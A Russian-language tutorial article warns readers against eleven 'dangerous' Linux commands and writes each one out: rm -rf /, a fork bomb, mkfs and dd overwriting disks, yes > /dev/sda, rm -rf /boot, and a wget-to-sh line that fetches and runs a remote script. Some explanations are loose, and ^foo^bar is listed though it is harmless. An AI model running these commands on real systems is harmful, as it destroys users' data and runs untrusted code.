Операционные системы

Опасные команды в Linux

В статье «Основные команды для работы в консоли Linux» мы рассматривали основные и безобидные команды для работы в терминале (консоле). В этой статье познакомимся с опасными командами в Linux.
Данные команды не стоит выполнять, многие из этих команд очень опасны для стабильной работы системы, большинство команд требуют выполнения под root правами и должны начинаться с команды sudo.

1. rm -rf /

Команда rm -rf / удаляет все возможное, в том числе файлы на жестком диске и файлы на подключенных съемных носителей.
Команда RM также может быть использована в других опасных способах — rm -rf ~ которая удалит все файлы в вашей домашней папке, в то время как rm -rf * удалит все файлы конфигурации.

2. Команда :(){ :|:& };:

Данная команда является логической бомбой. Она оперирует определением функции с именем ‘:‘, которая вызывает сама себя дважды: один раз на переднем плане и один раз в фоне. Она продолжает своё выполнение снова и снова, пока система не зависнет.

3. mkfs.ext4 /dev/sda1

mkfs.ext4 — Создает новую файловую систему ext4 на следующем устройстве.
/dev/sda1 — Задает первый раздел на первом жестком диске, который, вероятней всего используется под корневую файловую систему.
Если связать данную команду вместе, эта команда может стереть файлы на первом разделе и заменит их новой файловой системой.

4. mv folder /dev/null

Команда mv переместит ‘folder‘ в /dev/null. В Linux /dev/null или null устройство — это специальный файл, который сбрасывает все данные, записанные в него, и сообщает, что операция записи прошла успешно.
Команда является переносом всех данных в чёрную дыру (null).

5. ^foo^bar

Эта команда используется для редактирования предыдущей запущенной команды без необходимости снова заново печатать всю команду.

6. dd if=/dev/random of=/dev/sda

Команда dd сотрёт блок устройства sda и заполнит его рандомным мусором. Система будет неработоспособной.

7. > file

Эта команда используется для стирания текущего файла. Если эта команда будет выполнена с опечаткой или незнанием вроде “> xt.conf”, то это сотрёт конфигурационный или любой другой файл.

8. wget http://site.ru/bashvirus -O — | sh

Данная команда загружает скрипт из сети Интернет и отправляет его на выполнение SH(bash), который выполняет содержимое сценария вне зависимости от того, что будет прописано внутри. Это может быть как опасно, так и нет.

9. any_command > /dev/sda

Данная команда записывает все необработанные данные в блоковые файлы (block special files), что легко разрушает файловую систему, после чего в любом случае потребуется переустановка.

10. yes > /dev/sda

Эта команда заполняет раздел жесткого диска (файловой системы) символами «y», что вызовет разрушение файловой системы.

11. rm -rf /boot/

Команда полностью удалит ядро и файлы загрузчиков которые требуются для загрузки системы. После этого система уже не запустится и потребуется переустановка системы, восстановление здесь уже не спасет.
Linux